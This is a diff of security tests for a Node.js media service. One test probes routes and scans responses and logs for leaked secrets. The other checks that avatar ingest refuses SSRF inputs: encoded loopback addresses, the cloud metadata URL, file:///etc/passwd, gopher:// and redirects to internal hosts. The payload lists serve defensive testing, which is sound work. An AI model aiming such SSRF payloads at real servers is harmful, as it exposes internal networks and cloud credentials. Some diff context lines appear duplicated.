- for (const must of ['GET /o/:id', 'GET /api/v2/:app/objects/:id', 'GET /api/v1/:app/vods/:id', 'GET /v/:id', 'GET /api/v1/:app/admin/storage/tiers/policy', 'GET /api/v2/me/objects', 'GET /api/ready', 'GET /metrics', 'GET /release.json', 'POST /internal/avatar-ingest']) {
- assert.ok(uniq.some(x => `${x.method} ${x.path}` === must), `the router walk finds ${must}`);
- }
- assert.ok(uniq.length > 100, `the router walk finds the routes (${uniq.length})`);
+ assert.ok(uniq.length > 100, `the router walk finds the routes (${uniq.length})`);
- // Params: real ids where the path names that kind of thing, so the success paths are read as well.
- const fill = (p) => p.replace(/:(\w+)/g, (_m, name, off) => {
- const before = p.slice(0, off);
- if (name === 'app') return 'live';
- if (name === 'id') {
- if (/\/(objects|o)\/$/.test(before)) return pubObj;
- if (/\/(vods|v)\/$/.test(before)) return String(vodId);
- if (/\/(clips|c)\/$/.test(before)) return String(clipId);
- return '999999';
- }
- if (name === 'key') return encodeURIComponent(fileKey);
- if (name === 'namespace') return 'live';
- if (name === 'metric') return 'vods';
- if (name === 'kind') return 'vod';
- if (name === 'sel') return '@nobody';
- return 'x';
- });
- const SLOW = /^(POST|PUT|DELETE) .*\/(tiers\/(sweep|bulk-move|move)|ops\/recompute)$/;
- for (const { method, path: p } of uniq) {
- const url = fill(p);
- if (method === 'GET') {
- for (const who of Object.keys(IDS)) await call('GET', url, { headers: IDS[who], as: who });
- await call('GET', url.replace(/(live|\d{6,}|med_\w+)/, '999999'), { headers: IDS.app }); // unknown ids and tenants
- } else if (method !== 'OPTIONS') {
- for (const who of ['anonymous', 'wrongKey', 'otherApp', 'expiredService']) await call(method, url, { headers: { ...IDS[who], 'content-type': 'application/json' }, body: '{"broken": ', as: who });
- if (!SLOW.test(`${method} ${p}`)) await call(method, url, { headers: { ...IDS.app, 'content-type': 'application/json' }, body: '{"broken": ' });
+ // Params: real ids where the path names that kind of thing, so the success paths are read as well.
+ const fill = (p) => p.replace(/:(\w+)/g, (_m, name, off) => {
+ const before = p.slice(0, off);
+ if (name === 'app') return 'live';
+ if (name === 'id') {
+ if (/\/(objects|o)\/$/.test(before)) return pubObj;
+ if (/\/(vods|v)\/$/.test(before)) return String(vodId);
+ if (/\/(clips|c)\/$/.test(before)) return String(clipId);
+ return '999999';
+ }
+ if (name === 'key') return encodeURIComponent(fileKey);
+ if (name === 'namespace') return 'live';
+ if (name === 'metric') return 'vods';
+ if (name === 'kind') return 'vod';
+ if (name === 'sel') return '@nobody';
+ return 'x';
+ });
+ const SLOW = /^(POST|PUT|DELETE) .*\/(tiers\/(sweep|bulk-move|move)|ops\/recompute)$/;
+ for (const { method, path: p } of uniq) {
+ const url = fill(p);
+ if (method === 'GET') {
+ for (const who of Object.keys(IDS)) await call('GET', url, { headers: IDS[who], as: who });
+ await call('GET', url.replace(/(live|\d{6,}|med_\w+)/, '999999'), { headers: IDS.app }); // unknown ids and tenants
+ } else if (method !== 'OPTIONS') {
+ for (const who of ['anonymous', 'wrongKey', 'otherApp', 'expiredService']) await call(method, url, { headers: { ...IDS[who], 'content-type': 'application/json' }, body: '{"broken": ', as: who });
+ if (!SLOW.test(`${method} ${p}`)) await call(method, url, { headers: { ...IDS.app, 'content-type': 'application/json' }, body: '{"broken": ' });
+ }
}
}
- }
- // ── Explicit error paths ──
- await call('GET', '/no/such/route');
- await call('GET', '/api/v1/live/no-such-route', { headers: IDS.app });
- await call('GET', '/api/v2/live/objects/not-an-id', { headers: IDS.app });
- await call('GET', '/api/v2/live/objects?cursor=bad', { headers: IDS.app });
- await call('GET', '/api/v1/nosuchapp/vods', { headers: IDS.app });
- await call('POST', '/api/v2/live/objects', { headers: { ...IDS.app, 'content-type': 'application/json' }, body: `{"x":"${'a'.repeat(3 * 1024 * 1024)}"}` }); // over the 2 MB JSON limit
- await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'nope', size_bytes: -1, visibility: 'weird' } });
- await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { size_bytes: 1e15 } });
- await call('PUT', `/api/v2/live/objects/${privObj}/content?token=forged`, { body: 'x' });
- await call('GET', `/o/${privObj}?exp=1&sig=forged`);
- await call('GET', `${signed}x`);
- await call('GET', signed);
- await call('GET', `/api/v2/live/objects/${privObj}/download?format=json`, { headers: IDS.app });
- await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': 'wrong' }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });
- await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': SECRET_ENV.INTERNAL_API_KEY }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });
- await call('POST', '/internal/events', { headers: { 'content-type': 'application/json', 'x-openvibe-signature': 'v2=forged' }, body: '{}' });
- await call('GET', '/auth/callback?code=forged&state=forged');
- await call('GET', '/auth/login?next=/me');
- await call('GET', '/auth/me', { headers: IDS.staff });
- await call('POST', '/auth/refresh');
- await call('OPTIONS', '/api/v1/games/files', { headers: { origin: 'https://games.test', 'access-control-request-method': 'POST' } });
- await call('POST', '/api/v1/live/files', { headers: IDS.app, body: (() => { const f = new FormData(); f.append('file', new Blob([Buffer.alloc(10)]), 'x.bin'); return f; })() });
- for (const p of ['/api/v1/live/admin/storage', '/api/v1/live/admin/storage/tiers', '/api/v1/live/admin/storage/tiers/policy', '/api/v1/live/admin/storage/tiers/objects/policy',
- '/api/v1/live/admin/storage/config', '/api/v1/live/admin/storage/buckets', '/api/v1/live/admin/storage/ops', '/api/v1/live/admin/storage/holds?all=1', '/api/v1/live/stats']) {
- r = await call('GET', p, { headers: IDS.app });
- }
- r = await call('GET', '/api/ready');
- assert.ok([200, 503].includes(r.status) && r.body && r.body.checks, 'readiness answers with its checks');
- assert.strictEqual((await call('GET', '/metrics')).status, 200, 'metrics answer loopback callers');
- assert.strictEqual((await call('GET', '/healthz')).status, 200);
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', { headers: IDS.app })).status, 200, 'the admin config reads were read');
- assert.strictEqual((await call('GET', '/api/v2/me/ops', { headers: IDS.staff })).status, 200, 'staff read the operator report');
- assert.strictEqual((await call('GET', `/api/v2/live/objects/${pubObj}`, { headers: IDS.service })).status, 200, 'the service token was accepted');
- console.log(`✅ ${uniq.length} routes from the router stack and the error paths requested (${seen.length} responses)`);
+ // ── Explicit error paths ──
+ await call('GET', '/no/such/route');
+ await call('GET', '/api/v1/live/no-such-route', { headers: IDS.app });
+ await call('GET', '/api/v2/live/objects/not-an-id', { headers: IDS.app });
+ await call('GET', '/api/v2/live/objects?cursor=bad', { headers: IDS.app });
+ await call('GET', '/api/v1/nosuchapp/vods', { headers: IDS.app });
+ await call('POST', '/api/v2/live/objects', { headers: { ...IDS.app, 'content-type': 'application/json' }, body: `{"x":"${'a'.repeat(3 * 1024 * 1024)}"}` }); // over the 2 MB JSON limit
+ await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'nope', size_bytes: -1, visibility: 'weird' } });
+ await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { size_bytes: 1e15 } });
+ await call('PUT', `/api/v2/live/objects/${privObj}/content?token=forged`, { body: 'x' });
+ await call('GET', `/o/${privObj}?exp=1&sig=forged`);
+ await call('GET', `${signed}x`);
+ await call('GET', signed);
+ await call('GET', `/api/v2/live/objects/${privObj}/download?format=json`, { headers: IDS.app });
+ await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': 'wrong' }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });
+ await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': SECRET_ENV.INTERNAL_API_KEY }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });
+ await call('POST', '/internal/events', { headers: { 'content-type': 'application/json', 'x-openvibe-signature': 'v2=forged' }, body: '{}' });
+ await call('GET', '/auth/callback?code=forged&state=forged');
+ await call('GET', '/auth/login?next=/me');
+ await call('GET', '/auth/me', { headers: IDS.staff });
+ await call('POST', '/auth/refresh');
+ await call('OPTIONS', '/api/v1/games/files', { headers: { origin: 'https://games.test', 'access-control-request-method': 'POST' } });
+ await call('POST', '/api/v1/live/files', { headers: IDS.app, body: (() => { const f = new FormData(); f.append('file', new Blob([Buffer.alloc(10)]), 'x.bin'); return f; })() });
+ for (const p of ['/api/v1/live/admin/storage', '/api/v1/live/admin/storage/tiers', '/api/v1/live/admin/storage/tiers/policy', '/api/v1/live/admin/storage/tiers/objects/policy',
+ '/api/v1/live/admin/storage/config', '/api/v1/live/admin/storage/buckets', '/api/v1/live/admin/storage/ops', '/api/v1/live/admin/storage/holds?all=1', '/api/v1/live/stats']) {
+ r = await call('GET', p, { headers: IDS.app });
+ }
+ r = await call('GET', '/api/ready');
+ assert.ok([200, 503].includes(r.status) && r.body && r.body.checks, 'readiness answers with its checks');
+ assert.strictEqual((await call('GET', '/metrics')).status, 200, 'metrics answer loopback callers');
+ assert.strictEqual((await call('GET', '/healthz')).status, 200);
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', { headers: IDS.app })).status, 200, 'the admin config reads were read');
+ assert.strictEqual((await call('GET', '/api/v2/me/ops', { headers: IDS.staff })).status, 200, 'staff read the operator report');
+ assert.strictEqual((await call('GET', `/api/v2/live/objects/${pubObj}`, { headers: IDS.service })).status, 200, 'the service token was accepted');
+ console.log(`✅ ${uniq.length} routes from the router stack and the error paths requested (${seen.length} responses)`);
- // ── Secrets the database holds ──
- for (const row of db.all('SELECT app_id, api_key_hash FROM apps WHERE api_key_hash != \'\'')) sentinels.set(`${row.app_id} key hash`, row.api_key_hash);
- const salts = db.all('SELECT salt FROM media_object_view_salts');
- assert.ok(salts.length >= 1, 'a popularity salt exists');
- salts.forEach((s, i) => sentinels.set(`popularity salt ${i}`, String(s.salt)));
+ // ── Secrets the database holds ──
+ for (const row of await db.all('SELECT app_id, api_key_hash FROM apps WHERE api_key_hash != \'\'')) sentinels.set(`${row.app_id} key hash`, row.api_key_hash);
+ const salts = await db.all('SELECT salt FROM media_object_view_salts');
+ assert.ok(salts.length >= 1, 'a popularity salt exists');
+ salts.forEach((s, i) => sentinels.set(`popularity salt ${i}`, String(s.salt)));
- // A sentinel in plain text, URL-encoded, or base64 at any alignment (a cookie, a JWT, a state blob).
- const forms = (v) => {
- const out = new Set([v, encodeURIComponent(v)]);
- for (let pad = 0; pad < 3; pad++) {
- const b = Buffer.concat([Buffer.alloc(pad, 0x20), Buffer.from(v)]).toString('base64');
- const core = b.slice(Math.ceil(pad * 4 / 3) + 1, -4);
- if (core.length >= 16) { out.add(core); out.add(core.replace(/\+/g, '-').replace(/\//g, '_')); }
- }
- return [...out];
- };
- const needles = [...sentinels].map(([name, v]) => [name, forms(v)]);
- const leaks = [];
- const scan = (where, text) => { for (const [name, fs_] of needles) if (fs_.some(f => text.includes(f))) leaks.push(`${name} in ${where}`); };
- for (const s of seen) { scan(`${s.where} body (${s.status})`, s.text); scan(`${s.where} headers`, s.headers); }
- assert.deepStrictEqual(leaks, [], 'no response carries a secret');
- console.log(`✅ no response body or header carries any of ${sentinels.size} secrets`);
+ // A sentinel in plain text, URL-encoded, or base64 at any alignment (a cookie, a JWT, a state blob).
+ const forms = (v) => {
+ const out = new Set([v, encodeURIComponent(v)]);
+ for (let pad = 0; pad < 3; pad++) {
+ const b = Buffer.concat([Buffer.alloc(pad, 0x20), Buffer.from(v)]).toString('base64');
+ const core = b.slice(Math.ceil(pad * 4 / 3) + 1, -4);
+ if (core.length >= 16) { out.add(core); out.add(core.replace(/\+/g, '-').replace(/\//g, '_')); }
+ }
+ return [...out];
+ };
+ const needles = [...sentinels].map(([name, v]) => [name, forms(v)]);
+ const leaks = [];
+ const scan = (where, text) => { for (const [name, fs_] of needles) if (fs_.some(f => text.includes(f))) leaks.push(`${name} in ${where}`); };
+ for (const s of seen) { scan(`${s.where} body (${s.status})`, s.text); scan(`${s.where} headers`, s.headers); }
+ assert.deepStrictEqual(leaks, [], 'no response carries a secret');
+ console.log(`✅ no response body or header carries any of ${sentinels.size} secrets`);
- // ── Durable events: what Media would publish ──
- const outbox = db.all('SELECT * FROM event_outbox');
- assert.ok(outbox.length >= 1, 'events were queued (the outbox is on)');
- scan('event_outbox', JSON.stringify(outbox));
- assert.deepStrictEqual(leaks, [], 'no queued event carries a secret');
- console.log(`✅ no queued event carries a secret (${outbox.length} events)`);
+ // ── Durable events: what Media would publish ──
+ const outbox = await db.all('SELECT * FROM event_outbox');
+ assert.ok(outbox.length >= 1, 'events were queued (the outbox is on)');
+ scan('event_outbox', JSON.stringify(outbox));
+ assert.deepStrictEqual(leaks, [], 'no queued event carries a secret');
+ console.log(`✅ no queued event carries a secret (${outbox.length} events)`);
- // ── Logs ──
- scan('the service log', logs);
- assert.deepStrictEqual(leaks, [], 'no log line carries a secret');
- console.log('✅ no log line carries a secret');
+ // ── Logs ──
+ scan('the service log', logs);
+ assert.deepStrictEqual(leaks, [], 'no log line carries a secret');
+ console.log('✅ no log line carries a secret');
- server.close();
- network.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('security-secrets: all checks passed');
- process.exit(0);
+ server.close();
+ network.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('security-secrets: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -18,168 +18,170 @@ const http = require('http');
@@ -18,168 +18,170 @@ const http = require('http');
const dns = require('dns');
const dns = require('dns');
const https = require('https');
const https = require('https');
-const ROOT = path.join(__dirname, '..');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-ssrf-'));
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.PASTES_PATH = path.join(tmp, 'pastes');
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-delete process.env.MEDIA_RTMP_PULL_ALLOW;
+(async () => {
+ const ROOT = path.join(__dirname, '..');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-ssrf-'));
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.PASTES_PATH = path.join(tmp, 'pastes');
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ delete process.env.MEDIA_RTMP_PULL_ALLOW;
-// ── Inventory: every outbound call in server/, and whose address it uses ──
-const OUTBOUND = {
- 'server/avatars/ingest.js': 'a person\'s picture URL: safeFetchImage, tested below',
- 'server/auth.js': 'Network JWKS (OV_NETWORK_URL)',
- 'server/account-data.js': 'Network internal API (OV_NETWORK_INTERNAL_URL), fixed paths: export parts and deletion confirmations',
- 'server/user-auth.js': 'Network OAuth and JWKS (OV_NETWORK_URL / OV_NETWORK_INTERNAL_URL)',
- 'server/webhooks.js': 'an app\'s webhook_url, set by the operator (MEDIA_APPS_SEED)',
- 'server/thumbnails/live-frame-service.js': 'the app\'s internal URL (APP_INTERNAL_URLS), fixed path',
- 'server/public/dev-data.js': 'the app\'s internal URL (APP_INTERNAL_URLS), ids and encoded names in the path',
- 'server/drill.js': 'restore drill: only this server itself',
- 'server/me/client.js': 'browser script, same-origin',
-};
-{
- const found = new Set();
- const walk = (d) => {
- for (const e of fs.readdirSync(d, { withFileTypes: true })) {
- const p = path.join(d, e.name);
- if (e.isDirectory()) walk(p);
- else if (p.endsWith('.js') && /\bfetch\(|\bhttps?\.(get|request)\(|\b(net|tls)\.connect\(|require\(['"](axios|got|node-fetch|undici)['"]\)/.test(fs.readFileSync(p, 'utf8'))) found.add(path.relative(ROOT, p));
- }
- };
- walk(path.join(ROOT, 'server'));
- for (const f of found) assert.ok(OUTBOUND[f], `${f} makes an outbound request: classify it in test/security-ssrf.test.js (a user-chosen address must go through a guard)`);
- for (const f of Object.keys(OUTBOUND)) assert.ok(found.has(f), `${f} no longer makes an outbound request: drop it from the inventory`);
- // Webhook targets are operator configuration: the only SQL that writes an app's webhook_url is
- // db.upsertApp, and the only caller of that is app seeding (MEDIA_APPS_SEED / MEDIA_APP_KEYS).
- const sqlWriters = [], upserters = [];
- const scan = (d) => {
- for (const e of fs.readdirSync(d, { withFileTypes: true })) {
- const p = path.join(d, e.name);
- if (e.isDirectory()) { scan(p); continue; }
- if (!p.endsWith('.js')) continue;
- const src = fs.readFileSync(p, 'utf8');
- if (/(INSERT\s+(OR\s+\w+\s+)?INTO\s+apps|UPDATE\s+apps\s+SET)[^;]*webhook_url/i.test(src)) sqlWriters.push(path.relative(ROOT, p));
- if (/\bupsertApp\(/.test(src) && !p.endsWith(path.join('db', 'database.js'))) upserters.push(path.relative(ROOT, p));
- }
+ // ── Inventory: every outbound call in server/, and whose address it uses ──
+ const OUTBOUND = {
+ 'server/avatars/ingest.js': 'a person\'s picture URL: safeFetchImage, tested below',
+ 'server/auth.js': 'Network JWKS (OV_NETWORK_URL)',
+ 'server/account-data.js': 'Network internal API (OV_NETWORK_INTERNAL_URL), fixed paths: export parts and deletion confirmations',
+ 'server/user-auth.js': 'Network OAuth and JWKS (OV_NETWORK_URL / OV_NETWORK_INTERNAL_URL)',
+ 'server/webhooks.js': 'an app\'s webhook_url, set by the operator (MEDIA_APPS_SEED)',
+ 'server/thumbnails/live-frame-service.js': 'the app\'s internal URL (APP_INTERNAL_URLS), fixed path',
+ 'server/public/dev-data.js': 'the app\'s internal URL (APP_INTERNAL_URLS), ids and encoded names in the path',
+ 'server/drill.js': 'restore drill: only this server itself',
+ 'server/me/client.js': 'browser script, same-origin',
};
};
- scan(path.join(ROOT, 'server'));
- assert.deepStrictEqual(sqlWriters, ['server/db/database.js'], 'only db.upsertApp writes an app\'s webhook_url');
- assert.deepStrictEqual(upserters, ['server/auth.js'], 'and only app seeding calls it');
- assert.ok(/function seedApps[\s\S]*upsertApp\(/.test(fs.readFileSync(path.join(ROOT, 'server/auth.js'), 'utf8')), 'from seedApps');
- console.log(`✅ outbound inventory: ${found.size} files, one user-chosen address (avatar ingest); webhook URLs are operator-set`);
-}
+ {
+ const found = new Set();
+ const walk = (d) => {
+ for (const e of fs.readdirSync(d, { withFileTypes: true })) {
+ const p = path.join(d, e.name);
+ if (e.isDirectory()) walk(p);
+ else if (p.endsWith('.js') && /\bfetch\(|\bhttps?\.(get|request)\(|\b(net|tls)\.connect\(|require\(['"](axios|got|node-fetch|undici)['"]\)/.test(fs.readFileSync(p, 'utf8'))) found.add(path.relative(ROOT, p));
+ }
+ };
+ walk(path.join(ROOT, 'server'));
+ for (const f of found) assert.ok(OUTBOUND[f], `${f} makes an outbound request: classify it in test/security-ssrf.test.js (a user-chosen address must go through a guard)`);
+ for (const f of Object.keys(OUTBOUND)) assert.ok(found.has(f), `${f} no longer makes an outbound request: drop it from the inventory`);
+ // Webhook targets are operator configuration: the only SQL that writes an app's webhook_url is
+ // db.upsertApp, and the only caller of that is app seeding (MEDIA_APPS_SEED / MEDIA_APP_KEYS).
+ const sqlWriters = [], upserters = [];
+ const scan = (d) => {
+ for (const e of fs.readdirSync(d, { withFileTypes: true })) {
+ const p = path.join(d, e.name);
+ if (e.isDirectory()) { scan(p); continue; }
+ if (!p.endsWith('.js')) continue;
+ const src = fs.readFileSync(p, 'utf8');
+ if (/(INSERT\s+(OR\s+\w+\s+)?INTO\s+apps|UPDATE\s+apps\s+SET)[^;]*webhook_url/i.test(src)) sqlWriters.push(path.relative(ROOT, p));
+ if (/\bupsertApp\(/.test(src) && !p.endsWith(path.join('db', 'database.js'))) upserters.push(path.relative(ROOT, p));
+ }
+ };
+ scan(path.join(ROOT, 'server'));
+ assert.deepStrictEqual(sqlWriters, ['server/db/database.js'], 'only db.upsertApp writes an app\'s webhook_url');
+ assert.deepStrictEqual(upserters, ['server/auth.js'], 'and only app seeding calls it');
+ assert.ok(/function seedApps[\s\S]*upsertApp\(/.test(fs.readFileSync(path.join(ROOT, 'server/auth.js'), 'utf8')), 'from seedApps');
+ console.log(`✅ outbound inventory: ${found.size} files, one user-chosen address (avatar ingest); webhook URLs are operator-set`);
+ }
-const ingest = require('../server/avatars/ingest');
-const { checkRtmpUrl } = require('../server/vod/recorder');
+ const ingest = require('../server/avatars/ingest');
+ const { checkRtmpUrl } = require('../server/vod/recorder');
-const INTERNAL_IPS = ['127.0.0.1', '127.8.9.10', '10.0.0.1', '172.16.0.1', '172.31.255.255', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '255.255.255.255', '224.0.0.1',
- '::', '::1', '0:0:0:0:0:0:0:1', '::ffff:127.0.0.1', '::ffff:7f00:1', '::ffff:10.0.0.1', '::ffff:a9fe:a9fe', '::127.0.0.1', '::7f00:1',
- 'fc00::1', 'fd12:3456::1', 'fe80::1', 'fe80::1%eth0', 'fec0::1', 'ff02::1', '64:ff9b::7f00:1', '64:ff9b::a9fe:a9fe', '2002:7f00:1::1', '2002:a9fe:a9fe::1',
- '2001:0:4136:e378:8000:63bf:80ff:fffe', '2001:db8::1'];
-for (const ip of INTERNAL_IPS) assert.strictEqual(ingest.isPublicAddress(ip), false, `not public: ${ip}`);
-for (const ip of ['93.184.216.34', '1.1.1.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8']) assert.strictEqual(ingest.isPublicAddress(ip), true, `public: ${ip}`);
-console.log('✅ avatar address rule: loopback, RFC 1918, link-local/metadata, CGNAT, 0/8, multicast and every IPv6 form of them refused');
+ const INTERNAL_IPS = ['127.0.0.1', '127.8.9.10', '10.0.0.1', '172.16.0.1', '172.31.255.255', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '255.255.255.255', '224.0.0.1',
+ '::', '::1', '0:0:0:0:0:0:0:1', '::ffff:127.0.0.1', '::ffff:7f00:1', '::ffff:10.0.0.1', '::ffff:a9fe:a9fe', '::127.0.0.1', '::7f00:1',
+ 'fc00::1', 'fd12:3456::1', 'fe80::1', 'fe80::1%eth0', 'fec0::1', 'ff02::1', '64:ff9b::7f00:1', '64:ff9b::a9fe:a9fe', '2002:7f00:1::1', '2002:a9fe:a9fe::1',
+ '2001:0:4136:e378:8000:63bf:80ff:fffe', '2001:db8::1'];
+ for (const ip of INTERNAL_IPS) assert.strictEqual(ingest.isPublicAddress(ip), false, `not public: ${ip}`);
+ for (const ip of ['93.184.216.34', '1.1.1.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8']) assert.strictEqual(ingest.isPublicAddress(ip), true, `public: ${ip}`);
+ console.log('✅ avatar address rule: loopback, RFC 1918, link-local/metadata, CGNAT, 0/8, multicast and every IPv6 form of them refused');
-(async () => {
- const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e ? e.message : 'no error'})`); };
- const DENIED = /not on the public internet|https address|username or password|standard https port|not a web address/;
- // DNS is stubbed: names below answer from this table; any other name fails the test (nothing leaves the host).
- const answers = {};
- const lookups = [];
- dns.promises.lookup = async (host, opts) => {
- lookups.push(host);
- const a = answers[host];
- if (!a) throw new Error(`unexpected DNS lookup for ${host}`);
- return typeof a === 'function' ? a() : a;
- };
- let fetched = [];
- const noFetch = async (u) => { fetched.push(u.hostname); throw new Error('fetcher reached'); };
+ (async () => {
+ const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e ? e.message : 'no error'})`); };
+ const DENIED = /not on the public internet|https address|username or password|standard https port|not a web address/;
+ // DNS is stubbed: names below answer from this table; any other name fails the test (nothing leaves the host).
+ const answers = {};
+ const lookups = [];
+ dns.promises.lookup = async (host, opts) => {
+ lookups.push(host);
+ const a = answers[host];
+ if (!a) throw new Error(`unexpected DNS lookup for ${host}`);
+ return typeof a === 'function' ? a() : a;
+ };
+ let fetched = [];
+ const noFetch = async (u) => { fetched.push(u.hostname); throw new Error('fetcher reached'); };
- // ── Literal and encoded internal addresses, internal names, other schemes: refused before DNS or a socket ──
- const refusedUrls = [
- 'https://127.0.0.1/a.png', 'https://127.1/a.png', 'https://2130706433/a.png', 'https://0177.0.0.1/a.png', 'https://0x7f000001/a.png', 'https://0x7f.0.0.1/a.png',
- 'https://017700000001/a.png', 'https://0.0.0.0/a.png', 'https://0/a.png', 'https://10.1.2.3/a.png', 'https://192.168.0.1/a.png', 'https://169.254.169.254/latest/meta-data/iam/',
- 'https://2852039166/latest/meta-data/', 'https://[::1]/a.png', 'https://[::]/a.png', 'https://[::ffff:127.0.0.1]/a.png', 'https://[::ffff:7f00:1]/a.png',
- 'https://[::ffff:169.254.169.254]/a.png', 'https://[0:0:0:0:0:0:0:1]/a.png', 'https://[fc00::1]/a.png', 'https://[fd00::1]/a.png', 'https://[fe80::1]/a.png',
- 'https://[64:ff9b::7f00:1]/a.png', 'https://[2002:7f00:1::1]/a.png',
- 'https://localhost/a.png', 'https://LOCALHOST./a.png', 'https://api.localhost/a.png', 'https://printer.local/a.png', 'https://metadata.google.internal/a.png', 'https://intranet/a.png',
- 'http://93.184.216.34/a.png', 'ftp://93.184.216.34/a.png', 'file:///etc/passwd', 'gopher://93.184.216.34/', 'https://user:[email protected]/a.png', 'https://93.184.216.34:8443/a.png',
- 'https://93.184.216.34:22/a.png', 'not a url',
- ];
- for (const u of refusedUrls) await rejects(ingest.safeFetchImage(u, { fetcher: noFetch }), DENIED, `refused: ${u}`);
- assert.deepStrictEqual([fetched, lookups], [[], []], 'no connection and no DNS lookup for any of them');
- console.log(`✅ ${refusedUrls.length} internal, encoded (decimal, octal, hex, short), IPv6-wrapped and internal-name URLs refused before DNS or a socket`);
+ // ── Literal and encoded internal addresses, internal names, other schemes: refused before DNS or a socket ──
+ const refusedUrls = [
+ 'https://127.0.0.1/a.png', 'https://127.1/a.png', 'https://2130706433/a.png', 'https://0177.0.0.1/a.png', 'https://0x7f000001/a.png', 'https://0x7f.0.0.1/a.png',
+ 'https://017700000001/a.png', 'https://0.0.0.0/a.png', 'https://0/a.png', 'https://10.1.2.3/a.png', 'https://192.168.0.1/a.png', 'https://169.254.169.254/latest/meta-data/iam/',
+ 'https://2852039166/latest/meta-data/', 'https://[::1]/a.png', 'https://[::]/a.png', 'https://[::ffff:127.0.0.1]/a.png', 'https://[::ffff:7f00:1]/a.png',
+ 'https://[::ffff:169.254.169.254]/a.png', 'https://[0:0:0:0:0:0:0:1]/a.png', 'https://[fc00::1]/a.png', 'https://[fd00::1]/a.png', 'https://[fe80::1]/a.png',
+ 'https://[64:ff9b::7f00:1]/a.png', 'https://[2002:7f00:1::1]/a.png',
+ 'https://localhost/a.png', 'https://LOCALHOST./a.png', 'https://api.localhost/a.png', 'https://printer.local/a.png', 'https://metadata.google.internal/a.png', 'https://intranet/a.png',
+ 'http://93.184.216.34/a.png', 'ftp://93.184.216.34/a.png', 'file:///etc/passwd', 'gopher://93.184.216.34/', 'https://user:[email protected]/a.png', 'https://93.184.216.34:8443/a.png',
+ 'https://93.184.216.34:22/a.png', 'not a url',
+ ];
+ for (const u of refusedUrls) await rejects(ingest.safeFetchImage(u, { fetcher: noFetch }), DENIED, `refused: ${u}`);
+ assert.deepStrictEqual([fetched, lookups], [[], []], 'no connection and no DNS lookup for any of them');
+ console.log(`✅ ${refusedUrls.length} internal, encoded (decimal, octal, hex, short), IPv6-wrapped and internal-name URLs refused before DNS or a socket`);
- // ── DNS answers: every answer must be public (a single private one refuses the name) ──
- Object.assign(answers, {
- 'mixed.example': [{ address: '93.184.216.34', family: 4 }, { address: '127.0.0.1', family: 4 }],
- 'v6.example': [{ address: '::ffff:10.0.0.1', family: 6 }],
- 'nat64.example': [{ address: '64:ff9b::a9fe:a9fe', family: 6 }],
- 'v6compat.example': [{ address: '::127.0.0.1', family: 6 }],
- 'loop6.example': [{ address: '::1', family: 6 }],
- 'meta.example': [{ address: '169.254.169.254', family: 4 }],
- });
- for (const h of Object.keys(answers)) await rejects(ingest.safeFetchImage(`https://${h}/a.png`, { fetcher: noFetch }), /not on the public internet/, `a name answering an internal address: ${h}`);
- assert.deepStrictEqual(fetched, [], 'no connection to any of them');
+ // ── DNS answers: every answer must be public (a single private one refuses the name) ──
+ Object.assign(answers, {
+ 'mixed.example': [{ address: '93.184.216.34', family: 4 }, { address: '127.0.0.1', family: 4 }],
+ 'v6.example': [{ address: '::ffff:10.0.0.1', family: 6 }],
+ 'nat64.example': [{ address: '64:ff9b::a9fe:a9fe', family: 6 }],
+ 'v6compat.example': [{ address: '::127.0.0.1', family: 6 }],
+ 'loop6.example': [{ address: '::1', family: 6 }],
+ 'meta.example': [{ address: '169.254.169.254', family: 4 }],
+ });
+ for (const h of Object.keys(answers)) await rejects(ingest.safeFetchImage(`https://${h}/a.png`, { fetcher: noFetch }), /not on the public internet/, `a name answering an internal address: ${h}`);
+ assert.deepStrictEqual(fetched, [], 'no connection to any of them');
- // ── Redirects: each hop is checked again, whatever the first host was ──
- answers['good.example'] = [{ address: '93.184.216.34', family: 4 }];
- for (const target of ['https://127.0.0.1/x', 'https://2130706433/x', 'https://[::1]/x', 'https://[::ffff:7f00:1]/x', 'https://169.254.169.254/latest/meta-data/',
- 'https://localhost/x', 'https://meta.example/x', 'http://good.example/x', 'https://good.example:8443/x', '//10.0.0.1/x']) {
- fetched = [];
- const fetcher = async (u) => { fetched.push(u.host); return fetched.length === 1 ? { redirect: target } : { body: Buffer.from('reached') }; };
- await rejects(ingest.safeFetchImage('https://good.example/a.png', { fetcher }), DENIED, `a redirect to ${target}`);
- assert.deepStrictEqual(fetched, ['good.example'], `the internal hop is never connected to (${target})`);
- }
- console.log('✅ DNS answers with any internal address, and redirects to internal addresses, are refused');
+ // ── Redirects: each hop is checked again, whatever the first host was ──
+ answers['good.example'] = [{ address: '93.184.216.34', family: 4 }];
